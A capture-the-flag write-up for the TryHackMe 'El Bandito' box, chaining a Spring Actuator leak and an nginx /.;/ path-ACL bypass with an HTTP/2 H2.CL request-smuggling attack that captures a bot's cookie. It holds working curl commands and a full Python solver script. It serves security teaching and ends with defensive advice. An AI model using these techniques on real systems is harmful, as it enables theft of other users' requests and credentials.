Box: El Bandito · Platform: TryHackMe · Category: Web · Difficulty: Hard

“In the spirit of El Bandito, we’re blazing a trail in the cryptocurrency world…” So the marketing copy said. Turns out the only thing getting burned here was the reverse proxy’s grip on reality.

1. Introduction / TL;DR

El Bandito is a web-heavy TryHackMe box themed around a swashbuckling crypto-scammer and his “Bandit-Coin” token. Behind the cowboy cosplay sit two very real, very modern web bugs stacked into a chain:

  1. Spring Boot Actuator over-exposure + an nginx path-ACL bypass (/.;/) → leaks admin credentials and the first flag.
  2. HTTP/2 → HTTP/1.1 request smuggling (an H2.CL desync) → lets us capture another user’s request. An internal bot quietly walks the site carrying a flag= cookie, and we steal it mid-stride.

Both flags turn out to be astronomical coordinates — a declination and a right ascension — so El Bandito is quite literally pointing us at a spot in the sky. Cute.

#TechniqueFlag
1Spring Actuator /mappings + nginx /.;/ ACL bypassTHM{REDACTED}
2HTTP/2 H2.CL request smuggling — capture victim requestTHM{REDACTED}

If you only take one thing away: a difference of opinion between two servers about where a request ends is a vulnerability. Both bugs here are exactly that — one about paths, one about lengths.


2. Initial Recon

Standard opening move — a versioned port scan with service detection. I never trust the “obvious” port assignment until nmap tells me what’s actually speaking on the wire.

1
nmap -Pn -sV -T4 --top-ports 1000 10.128.160.140
1
2
3
4
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
80/tcp   open  ssl/http El Bandito Server
631/tcp  open  ipp      CUPS 2.4
8080/tcp open  http     nginx

Two things jumped out immediately:

  • Port 80 is ssl/http. Read that again. It’s HTTPS on port 80 with a custom Server: El Bandito Server banner. This bites you later — if you lazily curl https://target/ you’ll hit port 443, which is a different (decoy) service. You must explicitly target https://target:80/.
  • Port 8080 is plain nginx fronting something. The response header X-Application-Context: application:8081 is a dead giveaway for a Spring Boot app, with nginx reverse-proxying to an internal Spring instance on 8081.

The 8080 root is a Vite/React SPA called “Bandit-Coin”:

1
curl -s http://10.128.160.140:8080/
1
2
<title>Bandit-Coin</title>
<script type="module" crossorigin src="/assets/index-6i4x9C9e.js"></script>

Pulling the bundled JS and grepping for routes surfaced two static pages:

1
2
3
4
curl -s http://10.128.160.140:8080/assets/index-6i4x9C9e.js \
  | grep -oE '"/[a-zA-Z0-9_/.-]+"' | sort -u
# "/burn.html"
# "/services.html"

/burn.html is a “Token Burn” form that loads /app.js. But requesting /app.js returns a Spring Boot 404 JSON:

1
{"timestamp":1780951067069,"status":404,"error":"Not Found","message":"No message available","path":"/app.js"}

That confirms the architecture: nginx (8080) → Spring Boot (8081), with nginx serving some static files and proxying everything else to Spring.


3. Analysis / Reverse Engineering

Spring Boot Actuators: the gift that keeps on giving

Older Spring Boot (1.x) exposes its Actuator management endpoints without the /actuator/ prefix that 2.x uses. I sprayed the classic names:

1
2
3
4
B=http://10.128.160.140:8080
for p in env health mappings info trace dump heapdump autoconfig configprops; do
  echo "[$(curl -s -o /dev/null -w '%{http_code}' "$B/$p")] $p"
done
1
2
3
4
5
6
[403] env       <- blocked by nginx
[200] health
[200] mappings  <- jackpot
[200] info
[403] trace
[200] heapdump

/mappings dumps every route the Spring app knows about. Most are boilerplate, but four are clearly bespoke (net.thm.websocket.config.AdminController):

1
2
3
4
"{[/admin-creds],methods=[GET]}": { "method": "...AdminController.adminCreds()" },
"{[/admin-flag],methods=[GET]}":  { "method": "...AdminController.adminFlag()" },
"{[/token]}":                     { "method": "...AdminController.getBootTimeWithRandom()" },
"{[/isOnline]}":                  { "method": "...AppHealthController.health(String)" }

So the app defines /admin-creds and /admin-flag. Let’s just ask for them:

1
curl -s http://10.128.160.140:8080/admin-creds
1
2
3
<html><head><title>403 Forbidden</title></head>
<body><center><h1>403 Forbidden</h1></center>
<hr><center>nginx</center></body></html>

403 — but notice Server: nginx. This isn’t Spring rejecting us; it’s nginx blocking the path before it ever reaches Spring. There’s a location-based ACL in nginx denying /admin-creds, /admin-flag, /env, etc. The routes exist on the backend; nginx is just the bouncer at the door.

/isOnline — a textbook SSRF

1
2
3
curl -s "http://10.128.160.140:8080/isOnline?url=http://127.0.0.1"
# {"status":500,"exception":"java.net.ConnectException",
#  "message":"Failed to connect to /127.0.0.1:80", ...}

/isOnline?url= makes the server perform an outbound request to a URL we control — a clean Server-Side Request Forgery. Tempting! I tried to pivot it straight at the internal admin routes:

1
2
curl -s "http://10.128.160.140:8080/isOnline?url=http://127.0.0.1:8081/admin-creds"
# (HTTP 200, but Content-Length: 0)

It connects but returns no body/isOnline only reports reachability, not the response content. A blind SSRF. Useful for proving internal services exist, useless for exfiltration here. So the SSRF is a red herring for flag #1; the real key is the nginx ACL itself.


4. Vulnerability Identification

Bug #1 — nginx path ACL vs. Spring path normalization

Here’s the crux. nginx and Spring disagree about what a path is.

nginx matches the request URI more or less literally against its location rules. Spring (built on Tomcat/Jetty servlet semantics) normalizes paths and — critically — strips path parameters, the ;key=value segments allowed by RFC 3986 (;jsessionid=... is the famous one).

So if I request:

1
/.;/admin-creds
  • nginx sees the literal string /.;/admin-creds. It does not match the location /admin-creds deny rule, so it happily proxies the request through.
  • Spring receives /.;/admin-creds, strips the ;-parameter segment and collapses the /. → it routes to /admin-creds and serves it.

Two servers, two interpretations of the same bytes. The bouncer and the bartender are reading different guest lists.

Bug #2 — HTTP/2 desync on port 80

Port 80 (“El Bandito Server”) answers HTTP/2:

1
2
3
4
5
curl -sk -i -X POST https://10.128.160.140:80/login \
  -d 'username=hAckLIEN&password=YouCanCatchUsInYourDreams404'
# HTTP/2 302
# set-cookie: session=eyJ1c2VybmFtZSI6ImhBY2tMSUVOIn0...; HttpOnly; Path=/
# location: /messages

A Flask chat app (Server: El Bandito Server) sitting behind an HTTP/2 front-end. The front-end speaks HTTP/2 to us but HTTP/1.1 to the Flask backend. Whenever a protocol downgrade like that happens, there’s an opportunity for the two sides to disagree about message length — and that is the seed of request smuggling. More on the mechanism in section 5.

The chat app’s JS (/static/messages.js) reveals the relevant endpoints:

1
2
3
4
5
6
fetch("/getMessages")          // GET — returns stored messages as JSON
fetch("/send_message", {       // POST data=<text> — stores a message
  method: "POST",
  headers: {"Content-Type": "application/x-www-form-urlencoded"},
  body: "data=" + messageText
});

/send_message stores whatever we send in data=; /getMessages reads it back. That read-back primitive is what makes a captured victim request observable.


5. Exploitation Strategy

5.1 The path-confusion bypass (flag #1)

This one’s quick. To bypass an nginx prefix/exact ACL while still hitting the same Spring handler, inject a path-parameter segment that nginx treats as literal but Spring discards:

1
GET /.;/admin-creds   ->  nginx: "not /admin-creds, allow"  ->  Spring: "/admin-creds"

/;/admin-creds works too. The ; is the magic character.

5.2 HTTP request smuggling — what it is and why it applies

If you’ve never seen request smuggling, here’s the mental model.

A reverse proxy keeps a persistent TCP connection to the backend and pushes many users’ requests down it, back-to-back, like train cars:

1
2
[ proxy ] === single keep-alive TCP pipe ===> [ backend ]
            req_me | req_alice | req_bob ...

For this to work, both ends must agree exactly where one request ends and the next begins. They figure that out from length metadata — Content-Length (CL) or Transfer-Encoding: chunked (TE), or in HTTP/2, the frame layer (an explicit END_STREAM flag).

A desync happens when the front-end and back-end measure length differently. The front-end thinks your request ended here; the back-end thinks it ended there. The bytes in the gap — the “smuggled” prefix — get glued onto the front of whoever’s request comes next on that shared pipe.

Why HTTP/2 makes this worse: H2.CL

In HTTP/2, a message’s length is defined by the framing — the server knows the body is over when it sees the END_STREAM flag. The content-length header is purely informational and is supposed to be ignored / validated.

But many front-ends rewrite an HTTP/2 request down to HTTP/1.1 to talk to a legacy backend. When they do, they have to invent an HTTP/1.1 Content-Length line. A naïve proxy just copies the content-length header we supplied — without re-checking it against the actual number of body bytes it forwards.

That’s the bug. We send:

  • HTTP/2 layer: a :method POST to / with header content-length: 0, but a DATA frame carrying a real, non-empty body. The front-end uses END_STREAM to know the true length, accepts our full body, and considers our stream complete.
  • HTTP/1.1 to backend: the proxy forwards Content-Length: 0 (the header value we chose) followed by our body bytes.

The Flask backend reads Content-Length: 0 → “this request has an empty body” → it stops. Everything after it — our body — is parsed as the start of the next HTTP/1.1 request on the pipe.

Turning a desync into request capture

Our smuggled body isn’t random; it’s a deliberately incomplete request:

1
2
3
4
5
6
POST /send_message HTTP/1.1
Cookie: session=<our hAckLIEN session>
Content-Type: application/x-www-form-urlencoded
Content-Length: 730

data=

We claim a 730-byte body but only send data= (5 bytes). The backend now sits waiting for 725 more body bytes… which it grabs from the very next request to arrive on that connection. If that next request belongs to another user, their raw HTTP request — request line, headers, cookies and all — becomes the value of our data= field, and Flask dutifully stores it as a chat message.

Then we just read it back with /getMessages. This is the classic PortSwigger “Capturing other users’ requests” technique, adapted to an H2.CL desync.

Who’s the victim? El Bandito runs an internal headless-Chrome bot that periodically browses the site. As you’ll see, it requests an authenticated path /access while carrying a flag=... cookie. That cookie is flag #2 — we just have to be holding a poisoned connection open at the right moment.


6. Building the Exploit

Step 0 — Grab flag #1 and the credentials

1
2
3
4
5
curl -s http://10.128.160.140:8080/.;/admin-creds
# username:hAckLIEN password:YouCanCatchUsInYourDreams404

curl -s http://10.128.160.140:8080/.;/admin-flag
# THM{REDACTED}

hAckLIEN / YouCanCatchUsInYourDreams404 is our login for the port-80 chat app. (SSH with these fails — the account is publickey-only — so the creds are purely for the web app.)

Step 1 — Authenticate to the chat app

1
2
curl -sk -c cookies.txt -X POST https://10.128.160.140:80/login \
  -d 'username=hAckLIEN&password=YouCanCatchUsInYourDreams404'

The session cookie is a standard Flask cookie that base64-decodes to {"username":"hAckLIEN"}. We need it on the smuggled /send_message so the stored message lands in our visible chat thread when we read /getMessages.

Step 2 — Craft the H2.CL request by hand

Off-the-shelf HTTP/2 clients (curl, requests) are helpful — they’ll “fix” your content-length to match the body, which destroys the desync. We need a client that will lie on our behalf. Python’s h2 library gives us raw frame control, and we explicitly disable its outbound validation:

1
2
3
4
5
cfg = h2.config.H2Configuration(
    client_side=True,
    validate_outbound_headers=False,   # allow content-length != body length
    normalize_outbound_headers=False,
)

The pseudo-headers declare content-length: 0; the DATA frame carries the real (non-empty) smuggled prefix with END_STREAM:

1
2
3
4
headers = [(':method','POST'), (':path','/'), (':authority',host),
           (':scheme','https'), ('content-length','0')]   # the lie
conn.send_headers(1, headers, end_stream=False)
conn.send_data(1, smuggled.encode(), end_stream=True)     # the truth

Step 3 — Tune the magic number: Content-Length: 730

730 is the only real “magic value” here, and it’s worth understanding rather than copying.

It is the size we claim our smuggled /send_message body is. The backend will keep reading the next connection’s bytes until it has collected that many. So it must be:

  • Large enough to swallow the victim’s interesting bits. The bot’s request line + headers + the cookie: flag=... line land a few hundred bytes in, so we need a few hundred bytes of appetite.
  • Not so large that the request hangs forever waiting for bytes that never come (which trips a timeout / 503). You want it just past the cookie.

In practice 730 comfortably captures through the cookie: and X-Forwarded-For: headers. If you over-shoot, you’ll see the capture truncate at ...X-Varnis (the next header begins X-Varnish) because the body filled up before the request finished — that truncation is expected and harmless; the flag arrives well before it.

Step 4 — Spray and poll

A single poisoned connection only wins if the bot happens to land on it. So we continuously open poisoned connections (re-poisoning the backend pipe) while polling /getMessages in parallel until a captured request appears. The bot cycles roughly every couple of minutes; in my run it landed within ~15 seconds of spraying.

The complete solve script

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python3
"""
El Bandito — full chain solver.

Flag 1: nginx ACL bypass via Spring path-parameter normalization (/.;/).
Flag 2: HTTP/2 (H2.CL) request smuggling to capture the internal bot's
        request, whose `flag=` cookie is the prize.

Deps: pip install requests h2
"""
import socket, ssl, time, re, threading, sys
import requests, urllib3
import h2.connection, h2.config

urllib3.disable_warnings()

HOST = "10.128.160.140"
P8080 = f"http://{HOST}:8080"     # nginx -> Spring Boot
BASE  = f"https://{HOST}:80"      # HTTP/2 "El Bandito Server" -> Flask
requests_kw = dict(verify=False, timeout=10)

# ---------------------------------------------------------------------------
# Flag 1 — nginx denies /admin-creds, but Spring strips the `;...` path param,
# so /.;/admin-creds slips past the proxy ACL and still routes to the handler.
# ---------------------------------------------------------------------------
def flag1():
    creds = requests.get(f"{P8080}/.;/admin-creds", **requests_kw).text.strip()
    flag  = requests.get(f"{P8080}/.;/admin-flag",  **requests_kw).text.strip()
    print("[*] admin-creds :", creds)
    print("[+] FLAG 1      :", flag)
    # creds look like "username:hAckLIEN password:YouCanCatchUsInYourDreams404"
    user = creds.split("username:")[1].split()[0]
    pw   = creds.split("password:")[1].split()[0]
    return user, pw

# ---------------------------------------------------------------------------
# Auth to the port-80 chat app and return the Flask session cookie value.
# We must reuse this exact cookie on the smuggled /send_message so the
# captured message lands in OUR readable thread.
# ---------------------------------------------------------------------------
def login(user, pw):
    s = requests.Session()
    s.post(f"{BASE}/login", data={"username": user, "password": pw},
           allow_redirects=False, **requests_kw)
    cookie = s.cookies.get("session")
    print("[*] session cookie:", cookie)
    return cookie

# ---------------------------------------------------------------------------
# Fire ONE H2.CL desync request.
#   - HTTP/2 header  content-length: 0   (the lie the proxy copies downstream)
#   - DATA frame     = a partial /send_message claiming Content-Length: 730
# The Flask backend reads CL:0 for our request, then parses our body as the
# next request, and blocks waiting for 730 body bytes -> it consumes the
# *next* connection's request (the bot) as our `data=` value.
# ---------------------------------------------------------------------------
def desync(cookie, cl=730):
    smuggled = (
        "POST /send_message HTTP/1.1\r\n"
        f"Host: {HOST}\r\n"
        f"Cookie: session={cookie}\r\n"
        "Content-Type: application/x-www-form-urlencoded\r\n"
        f"Content-Length: {cl}\r\n"
        "\r\n"
        "data="
    )
    ctx = ssl._create_unverified_context()
    ctx.set_alpn_protocols(["h2"])              # negotiate HTTP/2 over TLS
    raw = socket.create_connection((HOST, 80), timeout=8)
    tls = ctx.wrap_socket(raw, server_hostname=HOST)
    if tls.selected_alpn_protocol() != "h2":
        raise RuntimeError("server did not negotiate h2")

    cfg = h2.config.H2Configuration(
        client_side=True,
        validate_outbound_headers=False,        # permit CL != body length
        normalize_outbound_headers=False,
    )
    conn = h2.connection.H2Connection(config=cfg)
    conn.initiate_connection(); tls.sendall(conn.data_to_send())

    headers = [(":method", "POST"), (":path", "/"),
               (":authority", HOST), (":scheme", "https"),
               ("content-length", "0")]          # <- the desync lie
    conn.send_headers(1, headers, end_stream=False)
    tls.sendall(conn.data_to_send())
    conn.send_data(1, smuggled.encode(), end_stream=True)
    tls.sendall(conn.data_to_send())
    try:
        tls.settimeout(8); tls.recv(65535)       # drain; we don't need it
    except Exception:
        pass
    finally:
        tls.close()

# ---------------------------------------------------------------------------
# Flag 2 — spray poisoned connections while polling /getMessages until the
# bot's request (containing `flag=THM{REDACTED}`) shows up as a stored message.
# ---------------------------------------------------------------------------
def flag2(cookie):
    stop = threading.Event()

    def sprayer():
        while not stop.is_set():
            try: desync(cookie)
            except Exception: pass
            time.sleep(0.3)

    # a handful of concurrent sprayers keeps the backend pipe poisoned
    for _ in range(4):
        threading.Thread(target=sprayer, daemon=True).start()

    flag_re = re.compile(r"THM\{[^}]*\}")
    for i in range(80):
        try:
            body = requests.get(f"{BASE}/getMessages",
                                cookies={"session": cookie}, **requests_kw).text
        except Exception:
            body = ""
        m = flag_re.search(body)
        if m:
            stop.set()
            print("[*] captured bot request snippet:")
            snip = body[max(0, body.find("GET /access")):][:400]
            print("    " + snip.replace("\\r\\n", "\n    "))
            print("[+] FLAG 2:", m.group(0))
            return m.group(0)
        time.sleep(3)
    stop.set()
    print("[-] no capture; the bot cycles ~2 min — just run it again")

if __name__ == "__main__":
    user, pw = flag1()
    cookie = login(user, pw)
    flag2(cookie)

What we actually captured

Within seconds, /getMessages returned (among our own thread’s messages) the bot’s raw request, stored verbatim as a chat message:

1
2
3
4
5
6
GET /access HTTP/1.1
host: bandito.public.thm:80
user-agent: Mozilla/5.0 (X11; Linux x86_64) ... HeadlessChrome/122.0.6261.128 ...
cookie: flag=THM{REDACTED}
X-Forwarded-For: 172.31.0.1
X-Varnis…        <- truncated where our 730-byte buffer filled up

There it is. The internal headless-Chrome bot was browsing /access carrying the flag in a cookie, and our dangling /send_message swallowed its request whole. The X-Varnis… truncation is the expected tail — the buffer filled before the bot’s request finished, which is totally fine because the cookie line came earlier.

Bonus lead: the bot adds X-Forwarded-For: 172.31.0.1 and was hitting /access — a strong hint that an internal-only/XFF-gated endpoint is the next objective on this box.


7. Conclusion / Flag

1
2
Flag 1:  THM{REDACTED}
Flag 2:  THM{REDACTED}

El Bandito is a small masterclass in parser disagreement. Both flags fall out of getting two cooperating servers to disagree about where something ends:

  • Flag 1 — nginx and Spring disagree about where a path ends. nginx sees /.;/admin-creds; Spring sees /admin-creds. The ACL guards a string the application never actually routes on.
  • Flag 2 — an HTTP/2 front-end and a Flask backend disagree about where a request body ends. We declare content-length: 0 at the H2 layer but ship a real body; the downgrade copies our lie into HTTP/1.1 and the backend mis-frames the pipe, letting us annex the next user’s request.

And the theme ties together nicely: a declination and a right ascension are exactly the two coordinates you need to point a telescope. El Bandito spent the whole box telling us where he’s hiding in the night sky — you just had to desync a couple of servers to read the map.

Defensive takeaways

  • Don’t put security ACLs in the reverse proxy keyed on paths the application normalizes differently. Authorize in the app, on the routed handler — not on a raw URI string the proxy guessed at.
  • Never expose Spring Actuator (/mappings, /heapdump, /env, …) to untrusted networks. /mappings handed us the entire attack surface; /heapdump would have handed us memory.
  • When terminating HTTP/2 in front of an HTTP/1.1 backend, the front-end must recompute Content-Length from the real body and reject H2 requests whose content-length header contradicts their framing. Copying the client-supplied value is the whole vulnerability.

Happy hunting, and mind the desync. 🤠